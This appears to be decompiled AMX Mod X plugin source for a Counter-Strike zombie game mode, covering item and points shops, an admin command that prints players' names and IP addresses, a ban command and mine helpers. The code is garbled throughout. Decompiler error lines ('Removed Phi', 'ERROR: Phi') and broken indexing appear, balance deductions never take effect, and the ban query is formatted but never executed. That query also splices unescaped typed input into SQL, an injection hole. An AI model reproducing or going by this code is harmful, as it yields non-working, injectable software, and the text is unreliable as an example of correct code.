- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- if (g_bNoDamage[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
- }
- else
- {
- g_bNoDamage[iPlayer] = 1;
- set_take_damage(iPlayer, 0);
- sound(iPlayer, "", "ZombieOutstanding/zombie_madness.wav");
- set_glow(iPlayer, 19, "", 255, 0, 0);
- set_task(4.00, "TaskRemoveMadness", iPlayer, "", 0, "", 0);
- new var79 = g_iPacks[iPlayer];
- var79 = var79[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Zombie Madness!", g_cName[iPlayer][0][0]);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 Zombie Madness", g_cName[iPlayer][0][0]);
- }
- }
- case 12:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- if (get_user_jetpack(iPlayer))
- {
- user_drop_jetpack(iPlayer, "");
- }
- set_user_jetpack(iPlayer, "");
- set_user_fuel(iPlayer, 250.00/*1132068864*/);
- set_user_rocket_time(iPlayer, 0);
- send_say_text(iPlayer, g_iMaxClients + 1, 312700);
- send_say_text(iPlayer, g_iMaxClients + 1, 312896);
- new var78 = g_iPacks[iPlayer];
- var78 = var78[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Jetpack!", g_cName[iPlayer][0][0]);
- }
- case 13:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- if (g_bUnlimitedClip[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
- }
- else
- {
- g_bUnlimitedClip[iPlayer] = 1;
- new var77 = g_iPacks[iPlayer];
- var77 = var77[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Unlimited Clip!");
- }
- }
- case 14:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- if (120 < get_armor(iPlayer))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
- }
- else
- {
- set_armor(iPlayer, get_armor(iPlayer) + 100);
- sound(iPlayer, "", "ZombieOutstanding/armor_equip.wav");
- new var76 = g_iPacks[iPlayer];
- var76 = var76[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (100ap)");
- }
- }
- case 15:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- if (120 < get_armor(iPlayer))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
- }
- else
- {
- set_armor(iPlayer, get_armor(iPlayer) + 200);
- sound(iPlayer, "", "ZombieOutstanding/armor_equip.wav");
- new var75 = g_iPacks[iPlayer];
- var75 = var75[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (200ap)");
- }
- }
- case 16:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- g_iMaxJumps[iPlayer]++;
- new var74 = g_iPacks[iPlayer];
- var74 = var74[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "Now you can do %d jumps in a row!", g_iMaxJumps[iPlayer][0][0] + 1);
- }
- case 17:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- if (g_bTryder[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have one!");
- }
- else
- {
- g_bTryder[iPlayer] = 1;
- strip(iPlayer);
- set_armor(iPlayer, "");
- set_health(iPlayer, "");
- give_weapon(iPlayer, "weapon_knife");
- give_weapon(iPlayer, "weapon_deagle");
- give_weapon(iPlayer, "weapon_xm1014");
- give_weapon(iPlayer, "weapon_sg550");
- give_weapon(iPlayer, "weapon_g3sg1");
- give_weapon(iPlayer, "weapon_ak47");
- give_weapon(iPlayer, "weapon_hegrenade");
- give_weapon(iPlayer, "weapon_flashbang");
- give_weapon(iPlayer, "weapon_smokegrenade");
- give_ammo(iPlayer, "", 9999);
- give_ammo(iPlayer, "", 9999);
- give_ammo(iPlayer, "", 9999);
- give_ammo(iPlayer, 24, 9999);
- give_ammo(iPlayer, 28, 9999);
- g_bUnlimitedClip[iPlayer] = 1;
- set_glow(iPlayer, 19, 60, 155, 48, 255);
- sound(iPlayer, "", "ZombieOutstanding/armor_equip.wav");
- ExecuteHamB(Ham_Item_PreFrame, iPlayer);
- new var73 = g_iPacks[iPlayer];
- var73 = var73[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(190, 55, 115, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iEventsHudmessage, "%s is now a Tryder!", g_cName[iPlayer][0][0]);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 is now a\4 Tryder", g_cName[iPlayer][0][0]);
- }
- }
- case 18:
- {
- if (g_iSurvivors)
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 There already was a survivor this map!");
- return 0;
- }
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- static cTime[3];
- static i;
- static bool:bDone;
- static Float:fGameTime;
- fGameTime = get_gametime();
- bDone = 1;
- get_time("%H", cTime, 3);
- i = 0;
- while (i < g_iModeRecordings)
- {
- if (equali(g_cModeRecordings[i][0][0], g_cName[iPlayer][0][0], 0))
- {
- bDone = 0;
- i += 1;
- }
- i += 1;
- }
- if (!bDone)
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You\3 already bought\1 a game mode this map!");
- }
- else
- {
- if (fGameTime - g_fRoundStartTime < 3.00/*1077936128*/)
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Please wait at least\4 three seconds\1 after the round begining!");
- }
- if (cTime[0][0] == 48)
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You can't be\3 Survivor\1 during night...");
- }
- if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount][0][0] && !g_iRounds[g_iRoundsCount + -1][0][0] && g_bRoundStart)
- {
- g_bRoundStart = 0;
- remove_task(550, 0);
- StartSurvivorMode(iPlayer);
- remove_task(700, 0);
- new var72 = g_iPacks[iPlayer];
- var72 = var72[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Survivor!", g_cName[iPlayer][0][0]);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 Survivor", g_cName[iPlayer][0][0]);
- copy(g_cModeRecordings[g_iModeRecordings][0][0], 32, g_cName[iPlayer][0][0]);
- g_iModeRecordings += 1;
- g_iSurvivors += 1;
- }
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Sorry but you can't buy right now...");
- }
- }
- case 19:
- {
- if (g_iSnipers)
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 There already was a sniper this map!");
- return 0;
- }
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- static cTime[3];
- static i;
- static bool:bDone;
- static Float:fGameTime;
- fGameTime = get_gametime();
- bDone = 1;
- get_time("%H", cTime, 3);
- i = 0;
- while (i < g_iModeRecordings)
- {
- if (equali(g_cModeRecordings[i][0][0], g_cName[iPlayer][0][0], 0))
- {
- bDone = 0;
- i += 1;
- }
- i += 1;
- }
- if (!bDone)
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You\3 already bought\1 a game mode this map!");
- }
- else
- {
- if (fGameTime - g_fRoundStartTime < 3.00/*1077936128*/)
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Please wait at least\4 three seconds\1 after the round begining!");
- }
- if (cTime[0][0] == 48)
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You can't be\3 Sniper\1 during night...");
- }
- if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount][0][0] && !g_iRounds[g_iRoundsCount + -1][0][0] && g_bRoundStart)
- {
- g_bRoundStart = 0;
- remove_task(550, 0);
- StartSniperMode(iPlayer);
- remove_task(700, 0);
- new var71 = g_iPacks[iPlayer];
- var71 = var71[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Sniper!", g_cName[iPlayer][0][0]);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 Sniper", g_cName[iPlayer][0][0]);
- copy(g_cModeRecordings[g_iModeRecordings][0][0], 32, g_cName[iPlayer][0][0]);
- g_iModeRecordings += 1;
- g_iSnipers += 1;
- }
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Sorry but you can't buy right now...");
- }
- }
- case 20:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- static i;
- static bool:bDone;
- static Float:fGameTime;
- fGameTime = get_gametime();
- bDone = 1;
- i = 0;
- while (i < g_iModeRecordings)
- {
- if (equali(g_cModeRecordings[i][0][0], g_cName[iPlayer][0][0], 0))
- {
- bDone = 0;
- i += 1;
- }
- i += 1;
- }
- if (!bDone)
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You\3 already bought\1 a game mode this map!");
- }
- else
- {
- if (fGameTime - g_fRoundStartTime < 3.00/*1077936128*/)
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Please wait at least\4 three seconds\1 after the round begining!");
- }
- if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount][0][0] && !g_iRounds[g_iRoundsCount + -1][0][0] && g_bRoundStart)
- {
- g_bRoundStart = 0;
- remove_task(550, 0);
- StartNemesisMode(iPlayer);
- remove_task(700, 0);
- new var70 = g_iPacks[iPlayer];
- var70 = var70[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Nemesis!", g_cName[iPlayer][0][0]);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 Nemesis", g_cName[iPlayer][0][0]);
- copy(g_cModeRecordings[g_iModeRecordings][0][0], 32, g_cName[iPlayer][0][0]);
- g_iModeRecordings += 1;
- }
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Sorry but you can't buy right now...");
- }
- }
- case 21:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- static i;
- static bool:bDone;
- static Float:fGameTime;
- fGameTime = get_gametime();
- bDone = 1;
- i = 0;
- while (i < g_iModeRecordings)
- {
- if (equali(g_cModeRecordings[i][0][0], g_cName[iPlayer][0][0], 0))
- {
- bDone = 0;
- i += 1;
- }
- i += 1;
- }
- if (!bDone)
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You\3 already bought\1 a game mode this map!");
- }
- else
- {
- if (fGameTime - g_fRoundStartTime < 3.00/*1077936128*/)
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Please wait at least\4 three seconds\1 after the round begining!");
- }
- if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount][0][0] && !g_iRounds[g_iRoundsCount + -1][0][0] && g_bRoundStart)
- {
- g_bRoundStart = 0;
- remove_task(550, 0);
- StartAssassinMode(iPlayer);
- remove_task(700, 0);
- new var69 = g_iPacks[iPlayer];
- var69 = var69[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Assassin!", g_cName[iPlayer][0][0]);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 Assassin", g_cName[iPlayer][0][0]);
- copy(g_cModeRecordings[g_iModeRecordings][0][0], 32, g_cName[iPlayer][0][0]);
- g_iModeRecordings += 1;
- }
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 Sorry but you can't buy right now...");
- }
- }
- case 22:
- {
- if (g_iExtraItemsPrices[iChoice][0][0] > g_iPacks[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough ammo packs!");
- return 0;
- }
- if ((g_iExtraItemsTeams[iChoice][0][0] == 1 && !g_bZombie[iPlayer][0][0]) || (g_bZombie[iPlayer][0][0] && g_iExtraItemsTeams[iChoice][0][0] == 2))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- return 0;
- }
- new var67 = g_iBlinks[iPlayer];
- var67 = var67[0][0] + 6;
- new var68 = g_iPacks[iPlayer];
- var68 = var68[0][0] - g_iExtraItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Knife Blinks!", g_cName[iPlayer][0][0]);
- }
- default:
- {
- }
- }
- }
- return 0;
- }
- public _ShopMenu(iPlayer, iMenu, iItem)
- {
- !!! Removed Phi
- if (iItem != -3 && g_bConnected[iPlayer][0][0] && !g_bFake[iPlayer][0][0])
- {
- static iChoice;
- static iDummy;
- static cBuffer[3];
- new var8 = Heap_4;
- var8[0] = 261596;
- menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, 3, var8, 0, iDummy);
- iChoice = str_to_num(cBuffer);
- switch (iChoice)
- {
- case 0:
- {
- if (g_iShopItemsPrices[iChoice][0][0] > g_iPoints[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough points!");
- }
- else
- {
- if (g_iShopItemsTeams[iChoice][0][0] == 2 && g_bZombie[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- }
- g_bDoubleDamage[iPlayer] = 1;
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Double Damage!", g_cName[iPlayer][0][0]);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 Double Damage", g_cName[iPlayer][0][0]);
- new var19 = g_iPoints[iPlayer];
- var19 = var19[0][0] - g_iShopItemsPrices[iChoice][0][0];
- SaveRank(iPlayer);
- }
- }
- case 1:
- {
- if (g_iShopItemsPrices[iChoice][0][0] > g_iPoints[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough points!");
- }
- else
- {
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 114))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have this feature!");
- }
- g_bServerSlot[iPlayer] = 1;
- client_cmd(iPlayer, "messagemode amx_password_for_slot");
- set_task(0.20, "TaskPrintPassword", iPlayer, "", 0, "a", 15);
- new var18 = g_iPoints[iPlayer];
- var18 = var18[0][0] - g_iShopItemsPrices[iChoice][0][0];
- SaveRank(iPlayer);
- }
- }
- case 2:
- {
- if (g_iShopItemsPrices[iChoice][0][0] > g_iPoints[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough points!");
- }
- else
- {
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 109))
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You already have this feature!");
- }
- g_bAdminModel[iPlayer] = 1;
- client_cmd(iPlayer, "messagemode amx_password_for_model");
- set_task(0.20, "TaskPrintPassword", iPlayer, "", 0, "a", 15);
- new var17 = g_iPoints[iPlayer];
- var17 = var17[0][0] - g_iShopItemsPrices[iChoice][0][0];
- SaveRank(iPlayer);
- }
- }
- case 3:
- {
- if (g_iShopItemsPrices[iChoice][0][0] > g_iPoints[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough points!");
- }
- else
- {
- new var15 = g_iPacks[iPlayer];
- var15 = var15[0][0] + 100;
- new var16 = g_iPoints[iPlayer];
- var16 = var16[0][0] - g_iShopItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought 100 ammo packs!", g_cName[iPlayer][0][0]);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 100 ammo packs", g_cName[iPlayer][0][0]);
- SaveRank(iPlayer);
- }
- }
- case 4:
- {
- if (g_iShopItemsPrices[iChoice][0][0] > g_iPoints[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough points!");
- }
- else
- {
- new var13 = g_iPacks[iPlayer];
- var13 = var13[0][0] + 200;
- new var14 = g_iPoints[iPlayer];
- var14 = var14[0][0] - g_iShopItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought 200 ammo packs!", g_cName[iPlayer][0][0]);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 200 ammo packs", g_cName[iPlayer][0][0]);
- SaveRank(iPlayer);
- }
- }
- case 5:
- {
- if (g_iShopItemsPrices[iChoice][0][0] > g_iPoints[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough points!");
- }
- else
- {
- new var11 = g_iPacks[iPlayer];
- var11 = var11[0][0] + 300;
- new var12 = g_iPoints[iPlayer];
- var12 = var12[0][0] - g_iShopItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought 300 ammo packs!", g_cName[iPlayer][0][0]);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 300 ammo packs", g_cName[iPlayer][0][0]);
- SaveRank(iPlayer);
- }
- }
- case 6:
- {
- if (g_iShopItemsPrices[iChoice][0][0] > g_iPoints[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough points!");
- }
- else
- {
- if (g_iShopItemsTeams[iChoice][0][0] == 2 && g_bZombie[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- }
- g_bNoDamage[iPlayer] = 1;
- set_take_damage(iPlayer, 0);
- set_glow(iPlayer, 19, 32, 192, 255, "");
- new var10 = g_iPoints[iPlayer];
- var10 = var10[0][0] - g_iShopItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought God Mode!", g_cName[iPlayer][0][0]);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 God Mode", g_cName[iPlayer][0][0]);
- SaveRank(iPlayer);
- }
- }
- case 7:
- {
- static iAlive;
- iAlive = GetAliveCount();
- if (g_iShopItemsPrices[iChoice][0][0] > g_iPoints[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough points!");
- }
- else
- {
- if (g_iShopItemsTeams[iChoice][0][0] == 2 && g_bZombie[iPlayer][0][0])
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
- }
- if (g_bRoundStart && iAlive > 9 && g_iLastMode != 128 && g_iRoundsCount > 3)
- {
- PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You can't buy this feature right now!");
- }
- StartArmageddonMode(true);
- remove_task(700, 0);
- g_bRoundStart = 0;
- remove_task(550, 0);
- new var9 = g_iPoints[iPlayer];
- var9 = var9[0][0] - g_iShopItemsPrices[iChoice][0][0];
- set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Armageddon Round through points!", g_cName[iPlayer][0][0]);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 Armageddon Round\1 through points!", g_cName[iPlayer][0][0]);
- SaveRank(iPlayer);
- }
- }
- default:
- {
- }
- }
- }
- return 0;
- }
- public CmdLast(iPlayer)
- {
- !!! Removed Phi
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 51))
- {
- static cAddress[24];
- static cName[32];
- static i;
- i = 0;
- while (i < g_iSize)
- {
- GetInfo(i, cName, 32, cAddress, 24);
- console_print(iPlayer, "%32s %24s", cName, cAddress);
- i += 1;
- }
- }
- return 0;
- }
- public CmdAddBan(iPlayer)
- {
- !!! Removed Phi
- if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 100))
- {
- static Float:fGameTime;
- fGameTime = get_gametime();
- if (!fGameTime - g_fLastBanQuery >= 6.00/*1086324736*/)
- {
- console_print(iPlayer, "[Zombie Outstanding] Please wait six seconds...");
- return 1;
- }
- g_fLastBanQuery = fGameTime;
- static iTime;
- static iArgumentsCount;
- static cReason[36];
- static cTime[6];
- static cTarget[32];
- static cTargetName[32];
- read_argv(1, cTargetName, 32);
- read_argv(2, cTarget, 32);
- read_argv(3, cTime, 6);
- read_argv(4, cReason, 36);
- iTime = str_to_num(cTime);
- if (0 > iTime)
- {
- iTime = 0;
- }
- if (iTime > 175000)
- {
- iTime = 175000;
- }
- if (0 < iTime)
- {
- iTime = iTime * 60;
- }
- if (iArgumentsCount == 5 && !strlen(cReason) && !strlen(cTarget) && !strlen(cTargetName))
- {
- console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_addban <name> <ip> <time> <reason>");
- }
- static cTimeLength[32];
- static cQuery[512];
- if (0 < iTime)
- {
- GetTimeLength(iTime / 60, cTimeLength, 32);
- formatex(cQuery, 512, "INSERT INTO b VALUES ( '%s', '%s', 'Unspecified', '%s', '%s', ( unix_timestamp( now( ) ) + %d ), '%s', unix_timestamp( now( ) ), '%s' )", g_cName[iPlayer][0][0], g_cSteam[iPlayer][0][0], cTargetName, cReason, iTime, cTarget, cTimeLength);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "", "", 0);
- }
- else
- {
- formatex(cQuery, 512, "INSERT INTO b VALUES ( '%s', '%s', 'Unspecified', '%s', '%s', 0, '%s', unix_timestamp( now( ) ), 'Permanently' )", g_cName[iPlayer][0][0], g_cSteam[iPlayer][0][0], cTargetName, cReason, cTarget);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "", "", 0);
- }
- if (0 < iTime)
- {
- PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\4 %s\1 banned\4 %s\1 for\3 %d\1 minutes due to\3 %s", g_cName[iPlayer][0][0], cTargetName, iTime / 60, cReason);
- }
- PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\4 %s\1 banned\4 %s\1 permanently due to\3 %s", g_cName[iPlayer][0][0], cTargetName, cReason);
- }
- return 1;
- }
- GetZombies()
- {
- static iNum;
- static i;
- iNum = 0;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var3 = g_bAlive;
- new var1;
- new var2;
- if (var3[i][0][0])
- {
- new var4 = g_bZombie;
- if (var4[i][0][0])
- {
- var2 = var4;
- if (ERROR: Phi)
- {
- iNum += 1;
- i += 1;
- }
- i += 1;
- }
- var1 = var4;
- }
- else
- {
- var1 = var3;
- }
- var2 = var1;
- if (ERROR: Phi)
- {
- iNum += 1;
- i += 1;
- }
- i += 1;
- }
- return iNum;
- }
- GetHumans()
- {
- static iNum;
- static i;
- iNum = 0;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var3 = g_bAlive;
- new var1;
- new var2;
- if (var3[i][0][0])
- {
- new var4 = g_bZombie;
- if (!var4[i][0][0])
- {
- var2 = var4;
- if (ERROR: Phi)
- {
- iNum += 1;
- i += 1;
- }
- i += 1;
- }
- var1 = var4;
- }
- else
- {
- var1 = var3;
- }
- var2 = var1;
- if (ERROR: Phi)
- {
- iNum += 1;
- i += 1;
- }
- i += 1;
- }
- return iNum;
- }
- public Func_Take(iPlayer)
- {
- !!! Removed Phi
- iPlayer += -500;
- g_bRemoving[iPlayer] = 0;
- static iCount;
- static iEntities[2];
- iCount = ent(iPlayer, iEntities);
- if (iCount)
- {
- g_iPlantedMines[iPlayer]--;
- g_iTripMines[iPlayer]++;
- if (iEntities[0][0] == g_iPlayerMines[iPlayer][0][0][0])
- {
- g_iPlayerMines[iPlayer][0][0][0] = 0;
- }
- if (iEntities[0][0] == g_iPlayerMines[iPlayer][0][0][1])
- {
- g_iPlayerMines[iPlayer][0][0][1] = 0;
- }
- remove_entity(iEntities[0][0]);
- }
- return 0;
- }
- bool:CanPlant(iPlayer)
- {
- static Float:fNormal[3];
- static Float:fTraceResult[3];
- static Float:fTraceEnd[3];
- static Float:fTraceDirection[3];
- static Float:fOrigin[3];
- get_origin(iPlayer, fOrigin);
- velocity_by_aim(iPlayer, 64, fTraceDirection);
